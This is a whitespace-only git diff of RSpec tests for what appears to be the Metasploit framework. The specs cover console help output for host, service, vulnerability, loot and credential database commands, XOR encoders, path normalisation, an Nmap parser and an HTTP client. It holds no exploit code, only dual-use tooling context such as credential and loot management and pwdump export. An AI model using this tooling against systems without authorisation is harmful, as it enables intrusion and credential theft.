'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:core) do - described_class.new(driver) - end + subject(:core) do + described_class.new(driver) + end - context '#search_modules_sql' do - def search_modules_sql - core.search_modules_sql(match) - end + context '#search_modules_sql' do + def search_modules_sql + core.search_modules_sql(match) + end - let(:match) do - '' - end + let(:match) do + '' + end - it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + it 'should generate Matching Modules table' do + core.should_receive(:generate_module_table).with('Matching Modules').and_call_original - search_modules_sql - end + search_modules_sql + end - it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) + it 'should call Msf::DBManager#search_modules' do + db_manager.should_receive(:search_modules).with(match).and_return([]) - search_modules_sql - end + search_modules_sql + end - context 'with matching Mdm::Module::Details' do - let(:match) do - module_detail.fullname - end + context 'with matching Mdm::Module::Details' do + let(:match) do + module_detail.fullname + end - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end - context 'printed table' do - def cell(table, row, column) - row_line_number = 6 + row - line_number = 0 + context 'printed table' do + def cell(table, row, column) + row_line_number = 6 + row + line_number = 0 - cell = nil + cell = nil - table.each_line do |line| - if line_number == row_line_number - # strip prefix and postfix - padded_cells = line[3...-1] - cells = padded_cells.split(/\s{2,}/) + table.each_line do |line| + if line_number == row_line_number + # strip prefix and postfix + padded_cells = line[3...-1] + cells = padded_cells.split(/\s{2,}/) - cell = cells[column] - break - end + cell = cells[column] + break + end - line_number += 1 - end + line_number += 1 + end - cell - end + cell + end - let(:printed_table) do - table = '' + let(:printed_table) do + table = '' - core.stub(:print_line) do |string| - table = string - end + core.stub(:print_line) do |string| + table = string + end - search_modules_sql + search_modules_sql - table - end + table + end - it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) - end + it 'should have fullname in first column' do + cell(printed_table, 0, 0).should include(module_detail.fullname) + end - it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) - end + it 'should have disclosure date in second column' do + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) + end - it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) - end + it 'should have rank name in third column' do + cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + end - it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) - end - end - end - end + it 'should have name in fourth column' do + cell(printed_table, 0, 3).should include(module_detail.name) + end + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 0543bde408ce..390533e779c0 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -4,264 +4,264 @@ require 'msf/ui/console/command_dispatcher/db' describe Msf::Ui::Console::CommandDispatcher::Db do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:db) do - described_class.new(driver) - end + subject(:db) do + described_class.new(driver) + end - describe "#cmd_workspace" do - describe "-h" do - it "should show a help message" do - db.cmd_workspace "-h" - @output.should =~ [ - "Usage:", - " workspace List workspaces", - " workspace [name] Switch workspace", - " workspace -a [name] ... Add workspace(s)", - " workspace -d [name] ... Delete workspace(s)", - " workspace -r Rename workspace", - " workspace -h Show this help information" - ] - end - end - end + describe "#cmd_workspace" do + describe "-h" do + it "should show a help message" do + db.cmd_workspace "-h" + @output.should =~ [ + "Usage:", + " workspace List workspaces", + " workspace [name] Switch workspace", + " workspace -a [name] ... Add workspace(s)", + " workspace -d [name] ... Delete workspace(s)", + " workspace -r Rename workspace", + " workspace -h Show this help information" + ] + end + end + end - describe "#cmd_hosts" do - describe "-h" do - it "should show a help message" do - db.cmd_hosts "-h" - @output.should =~ [ - "Usage: hosts [ options ] [addr1 addr2 ...]", - "OPTIONS:", - " -a,--add Add the hosts instead of searching", - " -d,--delete Delete the hosts instead of searching", - " -c Only show the given columns (see list below)", - " -h,--help Show this help information", - " -u,--up Only show hosts which are up", - " -o Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" - ] - end - end - end + describe "#cmd_hosts" do + describe "-h" do + it "should show a help message" do + db.cmd_hosts "-h" + @output.should =~ [ + "Usage: hosts [ options ] [addr1 addr2 ...]", + "OPTIONS:", + " -a,--add Add the hosts instead of searching", + " -d,--delete Delete the hosts instead of searching", + " -c Only show the given columns (see list below)", + " -h,--help Show this help information", + " -u,--up Only show hosts which are up", + " -o Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + ] + end + end + end - describe "#cmd_services" do - describe "-h" do - it "should show a help message" do - db.cmd_services "-h" - @output.should =~ [ - "Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]", - " -a,--add Add the services instead of searching", - " -d,--delete Delete the services instead of searching", - " -c Only show the given columns", - " -h,--help Show this help information", - " -s Search for a list of service names", - " -p Search for a list of ports", - " -r Only show [tcp|udp] services", - " -u,--up Only show services which are up", - " -o Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: created_at, info, name, port, proto, state, updated_at" - ] - end - end - describe "-p" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are on a given port" do - db.cmd_services "-p", "1024,1025" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " - ] - end - end - describe "-np" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { - db.cmd_services "-np", "1024" + describe "#cmd_services" do + describe "-h" do + it "should show a help message" do + db.cmd_services "-h" + @output.should =~ [ + "Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]", + " -a,--add Add the services instead of searching", + " -d,--delete Delete the services instead of searching", + " -c Only show the given columns", + " -h,--help Show this help information", + " -s Search for a list of service names", + " -p Search for a list of ports", + " -r Only show [tcp|udp] services", + " -u,--up Only show services which are up", + " -o Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: created_at, info, name, port, proto, state, updated_at" + ] + end + end + describe "-p" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are on a given port" do + db.cmd_services "-p", "1024,1025" + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 snmp open ", + "192.168.0.1 1025 snmp open " + ] + end + end + describe "-np" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are not on a given port" do + pending("refs redmine ticket #4821") { + db.cmd_services "-np", "1024" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1025 snmp open ", - "192.168.0.1 1026 snmp open " - ] - } - end - end - end + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1025 snmp open ", + "192.168.0.1 1026 snmp open " + ] + } + end + end + end - describe "#cmd_vulns" do - describe "-h" do - it "should show a help message" do - db.cmd_vulns "-h" - @output.should =~ [ - "Print all vulnerabilities in the database", - "Usage: vulns [addr range]", - " -h,--help Show this help information", - " -p,--port List vulns matching this port spec", - " -s List vulns matching these service names", - " -S,--search Search string to filter by", - " -i,--info Display Vuln Info", - "Examples:", - " vulns -p 1-65536 # only vulns with associated services", - " vulns -p 1-65536 -s http # identified as http on any port" - ] - end - end + describe "#cmd_vulns" do + describe "-h" do + it "should show a help message" do + db.cmd_vulns "-h" + @output.should =~ [ + "Print all vulnerabilities in the database", + "Usage: vulns [addr range]", + " -h,--help Show this help information", + " -p,--port List vulns matching this port spec", + " -s List vulns matching these service names", + " -S,--search Search string to filter by", + " -i,--info Display Vuln Info", + "Examples:", + " vulns -p 1-65536 # only vulns with associated services", + " vulns -p 1-65536 -s http # identified as http on any port" + ] + end + end - end + end - describe "#cmd_notes" do - describe "-h" do - it "should show a help message" do - db.cmd_notes "-h" - @output.should =~ [ - "Usage: notes [-h] [-t ] [-n ] [-a] [addr range]", - " -a,--add Add a note to the list of addresses, instead of listing", - " -d,--delete Delete the hosts instead of searching", - " -n,--note Set the data for a new note (only with -a)", - " -t Search for a list of types", - " -h,--help Show this help information", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Regular expression to match for search", - " --sort Fields to sort by (case sensitive)", - "Examples:", - " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", - " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", - " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" - ] + describe "#cmd_notes" do + describe "-h" do + it "should show a help message" do + db.cmd_notes "-h" + @output.should =~ [ + "Usage: notes [-h] [-t ] [-n ] [-a] [addr range]", + " -a,--add Add a note to the list of addresses, instead of listing", + " -d,--delete Delete the hosts instead of searching", + " -n,--note Set the data for a new note (only with -a)", + " -t Search for a list of types", + " -h,--help Show this help information", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Regular expression to match for search", + " --sort Fields to sort by (case sensitive)", + "Examples:", + " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", + " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", + " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" + ] - end - end + end + end - end + end - describe "#cmd_loot" do - describe "-h" do - it "should show a help message" do - db.cmd_loot "-h" - @output.should =~ [ - "Usage: loot ", - " Info: loot [-h] [addr1 addr2 ...] [-t ]", - " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", - " Del: loot -d [addr1 addr2 ...]", - " -a,--add Add loot to the list of addresses, instead of listing", - " -d,--delete Delete *all* loot matching host and type", - " -f,--file File with contents of the loot to add", - " -i,--info Info of the loot to add", - " -t Search for a list of types", - " -h,--help Show this help information", - " -S,--search Search string to filter by" - ] - end - end + describe "#cmd_loot" do + describe "-h" do + it "should show a help message" do + db.cmd_loot "-h" + @output.should =~ [ + "Usage: loot ", + " Info: loot [-h] [addr1 addr2 ...] [-t ]", + " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", + " Del: loot -d [addr1 addr2 ...]", + " -a,--add Add loot to the list of addresses, instead of listing", + " -d,--delete Delete *all* loot matching host and type", + " -f,--file File with contents of the loot to add", + " -i,--info Info of the loot to add", + " -t Search for a list of types", + " -h,--help Show this help information", + " -S,--search Search string to filter by" + ] + end + end - end + end - describe "#cmd_creds" do - describe "-h" do - it "should show a help message" do - db.cmd_creds "-h" - @output.should =~ [ - "Usage: creds [addr range]", - "Usage: creds -a -p -t -u -P ", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", - " -h,--help Show this help information", - " -o Send output to a file in csv format", - " -p,--port List creds matching this port spec", - " -s List creds matching these service names", - " -t,--type Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", - " creds 1.2.3.4/24 # nmap host specification", - " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" - ] - end - end - end + describe "#cmd_creds" do + describe "-h" do + it "should show a help message" do + db.cmd_creds "-h" + @output.should =~ [ + "Usage: creds [addr range]", + "Usage: creds -a -p -t -u -P ", + " -a,--add Add creds to the given addresses instead of listing", + " -d,--delete Delete the creds instead of searching", + " -h,--help Show this help information", + " -o Send output to a file in csv format", + " -p,--port List creds matching this port spec", + " -s List creds matching these service names", + " -t,--type Add a cred of this type (only with -a). Default: password", + " -u,--user Add a cred for this user (only with -a). Default: blank", + " -P,--password Add a cred with this password (only with -a). Default: blank", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Examples:", + " creds # Default, returns all active credentials", + " creds all # Returns all credentials active or not", + " creds 1.2.3.4/24 # nmap host specification", + " creds -p 22-25,445 # nmap port specification", + " creds 10.1.*.* -s ssh,smb all" + ] + end + end + end - describe "#cmd_db_import" do - describe "-h" do - it "should show a help message" do - db.cmd_db_import "-h" - @output.should =~ [ - "Usage: db_import [file2...]", - "Filenames can be globs like *.xml, or **/*.xml which will search recursively", - "Currently supported file types include:", - " Acunetix XML", - " Amap Log", - " Amap Log -m", - " Appscan XML", - " Burp Session XML", - " Foundstone XML", - " IP360 ASPL", - " IP360 XML v3", - " Microsoft Baseline Security Analyzer", - " Nessus NBE", - " Nessus XML (v1 and v2)", - " NetSparker XML", - " NeXpose Simple XML", - " NeXpose XML Report", - " Nmap XML", - " OpenVAS Report", - " Qualys Asset XML", - " Qualys Scan XML", - " Retina XML" - ] - end - end - end + describe "#cmd_db_import" do + describe "-h" do + it "should show a help message" do + db.cmd_db_import "-h" + @output.should =~ [ + "Usage: db_import [file2...]", + "Filenames can be globs like *.xml, or **/*.xml which will search recursively", + "Currently supported file types include:", + " Acunetix XML", + " Amap Log", + " Amap Log -m", + " Appscan XML", + " Burp Session XML", + " Foundstone XML", + " IP360 ASPL", + " IP360 XML v3", + " Microsoft Baseline Security Analyzer", + " Nessus NBE", + " Nessus XML (v1 and v2)", + " NetSparker XML", + " NeXpose Simple XML", + " NeXpose XML Report", + " Nmap XML", + " OpenVAS Report", + " Qualys Asset XML", + " Qualys Scan XML", + " Retina XML" + ] + end + end + end - describe "#cmd_db_export" do - describe "-h" do - it "should show a help message" do - db.cmd_db_export "-h" - @output.should =~ [ - "Usage:", - " db_export -f [-a] [filename]", - " Format can be one of: xml, pwdump" - ] - end - end - end + describe "#cmd_db_export" do + describe "-h" do + it "should show a help message" do + db.cmd_db_export "-h" + @output.should =~ [ + "Usage:", + " db_export -f [-a] [filename]", + " Format can be one of: xml, pwdump" + ] + end + end + end - describe "#db_nmap" do - it "should have some specs describing its output" - end + describe "#db_nmap" do + it "should have some specs describing its output" + end - describe "#db_rebuild_cache" do - it "should have some specs describing its output" - end + describe "#db_rebuild_cache" do + it "should have some specs describing its output" + end end diff --git a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb index a430c0c7c889..827254a914b4 100644 --- a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb @@ -4,29 +4,29 @@ require 'msf/ui/console/command_dispatcher/exploit' describe Msf::Ui::Console::CommandDispatcher::Exploit do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:exp) do - described_class.new(driver) - end + subject(:exp) do + described_class.new(driver) + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_rcheck" do - end + describe "#cmd_rcheck" do + end - describe "#cmd_rexploit" do - end + describe "#cmd_rexploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end end diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb index f9636fcf29e1..b52f71e98b4f 100644 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ b/spec/lib/rex/encoding/xor/byte_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' describe Rex::Encoding::Xor::Byte do - it_behaves_like "an xor encoder", 1 + it_behaves_like "an xor encoder", 1 end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb index 01d37177a167..05253dd97ef4 100644 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ b/spec/lib/rex/encoding/xor/dword_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' describe Rex::Encoding::Xor::Dword do - it_behaves_like "an xor encoder", 4 + it_behaves_like "an xor encoder", 4 end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb index 58b657b23f12..a8ed89bf6159 100644 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ b/spec/lib/rex/encoding/xor/qword_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' describe Rex::Encoding::Xor::Qword do - it_behaves_like "an xor encoder", 8 + it_behaves_like "an xor encoder", 8 end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb index 5d5f3f9d5f2f..a14c45c837da 100644 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ b/spec/lib/rex/encoding/xor/word_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' describe Rex::Encoding::Xor::Word do - it_behaves_like "an xor encoder", 2 + it_behaves_like "an xor encoder", 2 end diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index a589896831de..7eba3d2f0e76 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -1,60 +1,60 @@ require 'rex/file' describe Rex::FileUtils do - context "Class methods" do - - context ".normalize_win_path" do - it "should convert an absolute path as an array into Windows format" do - described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") - end - - it "should convert an absolute path as a string into Windows format" do - described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") - end - - it "should convert a relative path" do - described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") - described_class.normalize_win_path('\\temp').should eq("\\temp") - described_class.normalize_win_path('temp').should eq("temp") - end - - it "should keep the trailing slash if exists" do - described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") - described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") - end - - it "should convert a path without reserved characters" do - described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") - end - - it "should convert a path without double slashes" do - described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") - described_class.normalize_win_path('C:\\\\').should eq("C:\\") - described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") - end - end - - context ".normalize_unix_path" do - it "should convert an absolute path as an array into Unix format" do - described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") - end - - it "should convert an absolute path as a string into Unix format" do - described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') - end - - it "should still give me a trailing slash if I have it" do - described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") - end - - it "should convert a path without double slashes" do - described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") - described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') - end - end - - end + context "Class methods" do + + context ".normalize_win_path" do + it "should convert an absolute path as an array into Windows format" do + described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") + end + + it "should convert an absolute path as a string into Windows format" do + described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") + end + + it "should convert a relative path" do + described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") + described_class.normalize_win_path('\\temp').should eq("\\temp") + described_class.normalize_win_path('temp').should eq("temp") + end + + it "should keep the trailing slash if exists" do + described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") + described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") + end + + it "should convert a path without reserved characters" do + described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") + end + + it "should convert a path without double slashes" do + described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") + described_class.normalize_win_path('C:\\\\').should eq("C:\\") + described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") + end + end + + context ".normalize_unix_path" do + it "should convert an absolute path as an array into Unix format" do + described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") + end + + it "should convert an absolute path as a string into Unix format" do + described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') + end + + it "should still give me a trailing slash if I have it" do + described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") + end + + it "should convert a path without double slashes" do + described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") + described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') + end + end + + end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index cef4dbf9a2f0..d9d1b0d3bb5e 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -24,29 +24,29 @@ ' describe Rex::Parser::NmapXMLStreamParser do - parser = Rex::Parser::NmapXMLStreamParser.new - total_hosts = 0 - parser.on_found_host = Proc.new { |host| - total_hosts += 1 - it "should yield a host" do - host.should_not be_nil - end - it "should populate the host with proper keys" do - host.should have_key("status") - host.should have_key("ports") - host.should have_key("addrs") - host["ports"].should be_a(Array) - host["addrs"].should be_a(Hash) - end - it "should find the address" do - host["addrs"].keys.length.should == 1 - host["addrs"].should have_key("ipv4") - host["addrs"]["ipv4"].should == "192.168.0.1" - end - } - REXML::Document.parse_stream(StringIO.new(xml), parser) - it "should have found exactly one host" do - total_hosts.should == 1 - end + parser = Rex::Parser::NmapXMLStreamParser.new + total_hosts = 0 + parser.on_found_host = Proc.new { |host| + total_hosts += 1 + it "should yield a host" do + host.should_not be_nil + end + it "should populate the host with proper keys" do + host.should have_key("status") + host.should have_key("ports") + host.should have_key("addrs") + host["ports"].should be_a(Array) + host["addrs"].should be_a(Hash) + end + it "should find the address" do + host["addrs"].keys.length.should == 1 + host["addrs"].should have_key("ipv4") + host["addrs"]["ipv4"].should == "192.168.0.1" + end + } + REXML::Document.parse_stream(StringIO.new(xml), parser) + it "should have found exactly one host" do + total_hosts.should == 1 + end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 800c5afc7d6e..5623c5bf6c66 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -7,226 +7,226 @@ # might be slow. I wonder how Travis-CI will react to this... describe Rex::Proto::Http::Client do - class << self - - # Set a standard excuse that indicates that the method - # under test needs to be first examined to figure out - # what's sane and what's not. - def excuse_lazy(test_method=nil) - ret = "need to determine pass/fail criteria" - test_method ? ret << " for #{test_method.inspect}" : ret - end - - # Complain about not having a "real" connection (can be mocked) - def excuse_needs_connection - "need to actually set up an HTTP server to test" - end - - # Complain about not having a real auth server (can be mocked) - def excuse_needs_auth - "need to set up an HTTP authentication challenger" - end - - end - - let(:ip) { "1.2.3.4" } - subject(:cli) do - Rex::Proto::Http::Client.new(ip) - end - - it "should respond to intialize" do - cli.should be - end - - it "should have a set of default instance variables" do - cli.instance_variable_get(:@hostname).should == ip - cli.instance_variable_get(:@port).should == 80 - cli.instance_variable_get(:@context).should == {} - cli.instance_variable_get(:@ssl).should be_false - cli.instance_variable_get(:@proxies).should be_nil - cli.instance_variable_get(:@username).should be_empty - cli.instance_variable_get(:@password).should be_empty - cli.config.should be_a_kind_of Hash - end - - it "should produce a raw HTTP request" do - cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest - end - - it "should produce a CGI HTTP request" do - req = cli.request_cgi - req.should be_a_kind_of Rex::Proto::Http::ClientRequest - end - - context "with authorization" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli.set_config({"authorization" => "Basic base64dstuffhere"}) - cli - end - let(:user) { "user" } - let(:pass) { "pass" } - let(:base64) { ["user:pass"].pack('m').chomp } - - context "and an Authorization header" do - before do - cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) - end - it "should have one Authorization header" do - req = cli.request_cgi - match = req.to_s.match("Authorization: Basic") - match.should be - match.length.should == 1 - end - it "should prefer the value in the header" do - req = cli.request_cgi - match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 - end - end - end - - context "with credentials" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli - end - let(:first_response) { - "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" - } - let(:authed_response) { - "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" - } - let(:user) { "user" } - let(:pass) { "pass" } - - it "should not send creds on the first request in order to induce a 401" do - req = cli.request_cgi - req.to_s.should_not match("Authorization:") - end - - it "should send creds after receiving a 401" do - conn = double - conn.stub(:put) - conn.stub(:shutdown) - conn.stub(:close) - - conn.should_receive(:get_once).and_return(first_response, authed_response) - conn.should_receive(:put) do |str_request| - str_request.should_not include("Authorization") - nil - end - conn.should_receive(:put) do |str_request| - str_request.should include("Authorization") - nil - end - - cli.should_receive(:_send_recv).twice.and_call_original - - Rex::Socket::Tcp.stub(:create).and_return(conn) - - opts = { "username" => user, "password" => pass} - req = cli.request_cgi(opts) - cli.send_recv(req) - - # Make sure it didn't modify the argument - opts.should == { "username" => user, "password" => pass} - end - - end - - it "should attempt to connect to a server" do - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused - end - - it "should be able to close a connection" do - cli.close.should be_nil - end - - it "should send a request and receive a response", :pending => excuse_needs_connection do - - end - - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do - - end - - it "should send a request", :pending => excuse_needs_connection do - - end - - it "should test for credentials" do - pending "Should actually respond to :has_creds" do - cli.should_not have_creds - this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds - end - end - - it "should send authentication", :pending => excuse_needs_connection - - it "should produce a basic authentication header" do - u = "user1" - p = "pass1" - b64 = ["#{u}:#{p}"].pack("m*").strip - cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" - end - - it "should perform digest authentication", :pending => excuse_needs_auth do - - end - - it "should perform negotiate authentication", :pending => excuse_needs_auth do - - end - - it "should get a response", :pending => excuse_needs_connection do - - end - - it "should end a connection with a stop" do - cli.stop.should be_nil - end - - it "should test if a connection is valid" do - cli.conn?.should be_false - end - - it "should tell if pipelining is enabled" do - cli.should_not be_pipelining - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - this_cli.pipeline = true - this_cli.should be_pipelining - end - - it "should respond to its various accessors" do - cli.should respond_to :config - cli.should respond_to :config_types - cli.should respond_to :pipeline - cli.should respond_to :local_host - cli.should respond_to :local_port - cli.should respond_to :conn - cli.should respond_to :context - cli.should respond_to :proxies - cli.should respond_to :username - cli.should respond_to :password - cli.should respond_to :junk_pipeline - # These are supposed to be protected - cli.should respond_to :ssl - cli.should respond_to :ssl_version - cli.should respond_to :hostname - cli.should respond_to :port - end + class << self + + # Set a standard excuse that indicates that the method + # under test needs to be first examined to figure out + # what's sane and what's not. + def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret + end + + # Complain about not having a "real" connection (can be mocked) + def excuse_needs_connection + "need to actually set up an HTTP server to test" + end + + # Complain about not having a real auth server (can be mocked) + def excuse_needs_auth + "need to set up an HTTP authentication challenger" + end + + end + + let(:ip) { "1.2.3.4" } + subject(:cli) do + Rex::Proto::Http::Client.new(ip) + end + + it "should respond to intialize" do + cli.should be + end + + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + 